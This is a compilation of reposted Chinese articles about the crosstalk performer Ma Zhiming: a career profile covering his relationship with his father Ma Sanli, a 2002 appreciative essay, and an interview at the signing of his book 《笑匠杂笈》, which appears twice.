年幼时丰富的相声积累,帮助马志明在前途灰暗的阶段找到了人生方向。同样,深厚的戏剧武功底子也让他在创作相声时如鱼得水,给他的相声带来了新意。大家至今都耳熟能详的《五味俱全》即是他的代表作之一。单弦、评剧、流行歌曲,尤其在表演“五味大侠”飞身上梅花桩时,干净利索的一个戏曲动作“飞脚”,让观众眼前一亮。而他随后的《纠纷》也在全国专业相声演员电视大奖赛中获得了创作、表演两个三等奖。于是,承袭了幽默大师马三立独到艺术特色精髓并有着独特“文戏武唱”表演风格的相声演员马志明被越来越多的人所喜爱,而他后来的《论拳》、《夜来麻将声》、《学跳舞》、《摸摸涮涮》、《看不惯》、《看热闹》、《自食其果》等作品也受到了观众们的广泛好评。 马志明出名了。很多圈里行外的人都称他继承了马三立的“马派”相声,是中国相声界的一代名家。面对着这样一个实至名归的称谓,马志明却有着难得的谦虚和认真。“艺术本来就没有派系。谁的活儿好,咱们就要认真跟谁学。我热爱相声艺术,也钦佩我父亲的艺术造诣,可以因为我父亲姓马而称为‘马氏’相声,最好别叫什么‘马派’,至于我的水平更成不了一派。我也不是什么艺术家。一定问我算什么,做木匠活的叫木匠,做瓦工活的叫瓦匠,剃头的叫剃头匠,那我是说相声的,自然就是笑匠了。” 忆父亲 “他对儿女有点‘冷’” 马志明的父亲马三立是国人最熟悉也最喜爱的相声大师之一。在常人的眼里,马老是幽默、智慧的化身,也是一位和蔼可亲的老者。可从打马志明记事儿起,就感到父亲马三立对孩子们并不那么关心,有时还冷冰冰的。马志明回忆道:“在我的记忆里,他在家总是不苟言笑的,很少跟我们讲笑话。只有师哥刘宝瑞来串门时父亲才会露出个笑脸,有时还对他说上一句‘进屋给孩子们讲笑话去’。只有这时,这间屋子里才真正充满欢笑。那时,父亲除了说相声,对其他的事情一概不管。” 说到父亲马三立对家里的事很少过问,马志明还讲到了一个细节:“父亲从来没有和我的岳父、岳母见过面,也没有为**办婚事。那年,我母亲去世,岳母带东西赶过来,走到胡同口,她让邻居把东西捎了进来,没进我家的大门。我理解她老人家的心态,因为她跟我父亲没见过面,所以,不想落下‘高攀’的名声。”看到笔者为马三立老人对家人、亲戚的冷淡态度感到不解,马志明微微一笑:“他也不是故意表现出高傲,他对孩子、对家事都看得很淡,他的心里只有观众!” 对子女的“冷淡”与“疏远”以及对艺术的“热烈”与“执着”直接体现在马三立对马志明工作的态度上。“虽然我是他的儿子,父亲却从来不让我沾他的光,从来也不会让我感觉好像借着他的力量在说相声似的。我跟父亲同台,除非是团里安排的工作任务,否则他拒绝一切与我同台的演出。”马三立也曾在回忆录中写道:“我总觉得他们虽然是马德禄的孙子,马三立的儿子,却并不一定都能说相声。”他还曾经对那些劝他多带带马志明的观众说:“我当初靠谁来着,要自己长能耐。” 基于对父亲的这些看法,年轻时的马志明并不能完全理解父亲。马志明说:“上世纪70年代在农村下放的时候,我25岁,有个村里的姑娘看上我,却被当时村干部警告不许跟我们这样的家庭来往。
他对相声充满虔诚——记著名相声演员马志明 (转帖) 他对相声充满虔诚——记著名相声演员马志明 薛宝琨、张蕴和 时间:2002-4-15 一 了解马志明底细的入,都真心地佩服他,而相声界以外的人,几乎对他一无所知、我平时爱听他的相声,也研究过他的相声。平日里不管是电台、电视台,只要播放他的相声,手里有多忙的活也放下,竖起耳朵听。凡有他的演出,他一准给我送票来,不管剧场有多远,骑上自行车就走,听完了,看完了,赚一肚子笑。笑得你五脏翻个,六腑荡气,心里有多大的别扭,都笑没了。真像他们相声里说的,清气上升,浊气下降。但我毕竟算不上对他了解。最近有机会采访他,听他谈了不少关于自己和相声的情况,这才使我对他有了初步的认识。 说实在的,曲艺现状并不景气,但相声依然红火。哪儿都有相声,全国从北到南,从东到西,大至中央电视台的春节晚会,小至一个企业、一个学校搞的联欢晚会,一台文艺演出如果没有相声,就像主妇们做菜缺了味精,怎么吃怎么觉得味道差点。是的,人们都爱听相声,那是因为人们都爱笑,又不仅是笑,还能在笑里琢磨出点什么。琢磨点什么呢?这谁知道,仁者见仁,智者见智,内行笑门道,外行笑热闹。反正人们听了相声,笑够了以后,就觉着该出的气出了,该宣泄的愤怒、不满宣泄了,该流露的机智、优越、正义都流露出来了。哈哈一笑,痛快!日常生活中,人们太紧张了,早晨8点上班,晚上6点下班,睁开眼就是柴米油盐酱醋茶,上哪找那么多的乐子去!多亏有了相声、今年4月,天津曲艺学会曾举行了一次学术讨论会,会上不少老中青年学者纷纷对相声的现状和前途表示不满和担忧。唯独天津电台的一位编辑力排众议,他说电台曾在全市搞过一个民意调查.对电台播送的全部节目进行评议,结果“每日相声”专栏得了两个第一:一个是收听率最高,占调查总人数的百分之九十多,另一个是填“非常喜欢”和“喜欢”的最多。这确实是一个无法驳倒的事实,因为情况是大家都看到的,在天津,每到傍晚的17点20分(现已改为17点25分),家家户户窗户缝门缝里挤出的声音都是相声。人们一边切菜、淘米,一边听相声,听着听着,“噗哧”笑出声来,险些把菜放进米锅里。有人这次广播没听到,就等晚上十点的那次,哪怕进被窝了,也要把它补上。人们喜爱相声,也就喜爱相声演员,于是就给他们起了一个最时髦、最富当代色彩的称号——笑星。 马志明就是一位被观众誉为笑星的人。但不知他是怎么成的笑星,因为没有人评选,没有人任命,也没有人给他发聘书。他成为笑星就像一个唱流行歌曲的歌手,自然被人们称为歌星。他是说相声的,笑的艺术,也就自然是笑星。不过天津的老少爷们儿称他是笑星总不会是平白无故的。我间他时,他说:“我确实没有取得过什么成就,就得过几回奖,也不高。”看样子他挺拘谨,我想了想,对他说:“可能同马派相声有关系吧?”他点了点头:“这倒可能是个原因。”以马三立为代表的“马派”或“马氏”相声眼下正在走红,看样子还会不断升值。原因是,观众听完马派相声可以发出一种不同凡响的笑声。这种相声,不急不躁,不喊不叫,不荤不咸,慢慢地在台上如数家常,但听得你在里面来回转圈,琢磨来琢磨去,不愿出来,直至让你鼓掌、捧腹。马志明作为马三立的长子,正宗的马派相声传人,他说的《地理图》、《夸住宅》、《卖五器》、《文章会》,地地道道的马派风格,给观众留下了深刻的印象。特别是他说的《白事会》,简直把观众说狂了。他在上边演,观众在下面接着,等着他的动作、眼神、口气,等他说到可笑处,下面“轰”的一声,剧场里的笑声像开了锅,沸沸扬扬。一名老年男观众从剧场里出来,在我身边比比划划地说:“这小子,真像他爹,有相声味儿!”立刻一位脸上还带着笑的老大娘接上活茬:“真缺了德了,那个马志明把人不哏死嘛!”对这样的评价有的人以为莫明其妙。可别忘了,天津的观众都是曲艺的行家,他们要是说你有相声味,喜欢你,就证明你成了器了。相声味是什么?如果一个相声演员没有扎实的艺术功底和过人的艺术敏悟,没有在相声这种艺术形式中轻便自由地展现人情世故的本领,你就是说上一辈子相声,也下会有相声味。
少马爷签《笑匠杂笈》小结50年艺术人生 昨天上午,著名相声演员马志明带着自己从艺50年来第一本书《笑匠杂笈》来到天津图书大厦签名售书。该书的签售定于早上10点30分开始,而图书大厦9点30分营业之前,已经有大批读者在门外 等候,从开门营业到正式签售的1小时之内,又陆续涌来大批读者排队买书等候签售,场面极其火爆,连马志明先生都连称“没有想到”。记者借此机会采访了马志明先生。 出书为方便大家 记者:这是您出的第一本书,而且是您的一部作品集,怎么想到要出这么一本书呢? 马志明:对,这是我的一部作品集,里面的内容以段子为主,还有一些快板的内容。因为这些年总有人找我要词儿,或是找我核对,于是我干脆把说过的段子出本书吧,这样大家看着也清楚些。里面还有一些我对相声处理上的一些想法和认识,大家一起探讨吧。 记者:您这本书是您儿子马六甲先生编著的,您怎么不亲自执笔? 马志明:是他(马六甲)编纂的。我这岁数,眼也不行了,精力也差了。我儿子虽然没干这行,但从小耳濡目染,对这个行当也了解,他大学毕业,打电脑也快,要是我自己还真干不了,可能这书就出不来了。 从不把自己当人物 记者:现在很多名人,包括相声界的一些前辈,都在出自传,您怎么不出本自传呢? 马志明:我目前没考虑这个。能出自传的、或是能拍成电视剧的,那得是个人物,我还算不上吧,哈哈,所以只写些相声的脚本。 记者:您成长于相声世家,市面上也有关于马三立老爷子的传记,还有过一部电视剧。您为什么不写这方面的东西呢?马氏家族的相声应该由您来执笔呀。 马志明:我知道你说的那部电视剧,其实当时我们老爷子是不愿意干的,不愿意张扬,一些活动都不愿意搞,他没把自己当成个人物,就想好好地给老百姓说相声,所以我们家人都是这样的,不愿意搞那些。而且我们家族、我家老爷子也不好写,我这文化也不高,团里的事情又多,不太愿意干。 《报菜名》我最满意 记者:书里面收录的段子是您全部的作品吗? 马志明:不是全部,里面的作品我选择得挺挑剔的,有些东西我认为差点儿的就不收录了,书里面的都是我认为能拿得出手,能奉献给观众的东西,所以它不是全集,而是选集。这也算是我从艺50年来一个阶段性的小结吧,算是个里程碑式的作品。 记者:书里面收录的段子跟您在舞台上说的完全一样吗?有没有一些变更或者再创作? 马志明:也有一些不完全一样的。有的以前的文本比较长,冗长拖沓,这里给精简了,有些可以给现在的相声演员一些借鉴吧。而且在舞台上说的时候,有自由发挥、有舞台现场的创作。 记者:里面还有一张光盘,有您5段相声的影像资料,都是您的精品吗? 马志明:对,其中有《报菜名》,这是我最满意的一部作品,我下了二十多年的工夫在上面。 记者:按道理来讲,现在的人们文化素质高了,可是在创作上却不如从前了,这是为什么? 马志明:我认为老一辈人的舞台经验丰富,我们说相声的是处于最底层的演员,不是什么大腕儿,接触的都是劳动人民,是市井文化,所以对生活体会深刻,它来源于生活,再返回生活中去,是生活点滴的积累。现在的相声,可能照本宣科的东西比较多吧,不那么“灵气”了。 记者:有人说现在相声艺术开始复苏,人们又重新对传统文化重视起来。您怎么看这个现象? 马志明:对相声景气不景气的问题,说实话我没太大感觉。因为我们从来没有大红大紫过,也没有没人听的时候,一直就是这样过来的。 记者:您看您多受大家欢迎,这么多人来捧场,等着您给签名。 马志明:说实话,我没想到。本来我想一共能卖出一千来本就不错了,没想到大伙那么捧场。我挺心疼大伙的,一大早就来挨冻,我谢谢大伙儿。
少马爷签《笑匠杂笈》小结50年艺术人生(转帖) 昨天上午,著名相声演员马志明带着自己从艺50年来第一本书《笑匠杂笈》来到天津图书大厦签名售书。该书的签售定于早上10点30分开始,而图书大厦9点30分营业之前,已经有大批读者在门外 等候,从开门营业到正式签售的1小时之内,又陆续涌来大批读者排队买书等候签售,场面极其火爆,连马志明先生都连称“没有想到”。记者借此机会采访了马志明先生。 出书为方便大家 记者:这是您出的第一本书,而且是您的一部作品集,怎么想到要出这么一本书呢? 马志明:对,这是我的一部作品集,里面的内容以段子为主,还有一些快板的内容。因为这些年总有人找我要词儿,或是找我核对,于是我干脆把说过的段子出本书吧,这样大家看着也清楚些。里面还有一些我对相声处理上的一些想法和认识,大家一起探讨吧。 记者:您这本书是您儿子马六甲先生编著的,您怎么不亲自执笔? 马志明:是他(马六甲)编纂的。我这岁数,眼也不行了,精力也差了。我儿子虽然没干这行,但从小耳濡目染,对这个行当也了解,他大学毕业,打电脑也快,要是我自己还真干不了,可能这书就出不来了。 从不把自己当人物 记者:现在很多名人,包括相声界的一些前辈,都在出自传,您怎么不出本自传呢? 马志明:我目前没考虑这个。能出自传的、或是能拍成电视剧的,那得是个人物,我还算不上吧,哈哈,所以只写些相声的脚本。 记者:您成长于相声世家,市面上也有关于马三立老爷子的传记,还有过一部电视剧。您为什么不写这方面的东西呢?马氏家族的相声应该由您来执笔呀。 马志明:我知道你说的那部电视剧,其实当时我们老爷子是不愿意干的,不愿意张扬,一些活动都不愿意搞,他没把自己当成个人物,就想好好地给老百姓说相声,所以我们家人都是这样的,不愿意搞那些。而且我们家族、我家老爷子也不好写,我这文化也不高,团里的事情又多,不太愿意干。 《报菜名》我最满意 记者:书里面收录的段子是您全部的作品吗? 马志明:不是全部,里面的作品我选择得挺挑剔的,有些东西我认为差点儿的就不收录了,书里面的都是我认为能拿得出手,能奉献给观众的东西,所以它不是全集,而是选集。这也算是我从艺50年来一个阶段性的小结吧,算是个里程碑式的作品。 记者:书里面收录的段子跟您在舞台上说的完全一样吗?有没有一些变更或者再创作? 马志明:也有一些不完全一样的。有的以前的文本比较长,冗长拖沓,这里给精简了,有些可以给现在的相声演员一些借鉴吧。而且在舞台上说的时候,有自由发挥、有舞台现场的创作。 记者:里面还有一张光盘,有您5段相声的影像资料,都是您的精品吗? 马志明:对,其中有《报菜名》,这是我最满意的一部作品,我下了二十多年的工夫在上面。 记者:按道理来讲,现在的人们文化素质高了,可是在创作上却不如从前了,这是为什么? 马志明:我认为老一辈人的舞台经验丰富,我们说相声的是处于最底层的演员,不是什么大腕儿,接触的都是劳动人民,是市井文化,所以对生活体会深刻,它来源于生活,再返回生活中去,是生活点滴的积累。现在的相声,可能照本宣科的东西比较多吧,不那么“灵气”了。 记者:有人说现在相声艺术开始复苏,人们又重新对传统文化重视起来。您怎么看这个现象? 马志明:对相声景气不景气的问题,说实话我没太大感觉。因为我们从来没有大红大紫过,也没有没人听的时候,一直就是这样过来的。 记者:您看您多受大家欢迎,这么多人来捧场,等着您给签名。 马志明:说实话,我没想到。本来我想一共能卖出一千来本就不错了,没想到大伙那么捧场。我挺心疼大伙的,一大早就来挨冻,我谢谢大伙儿。
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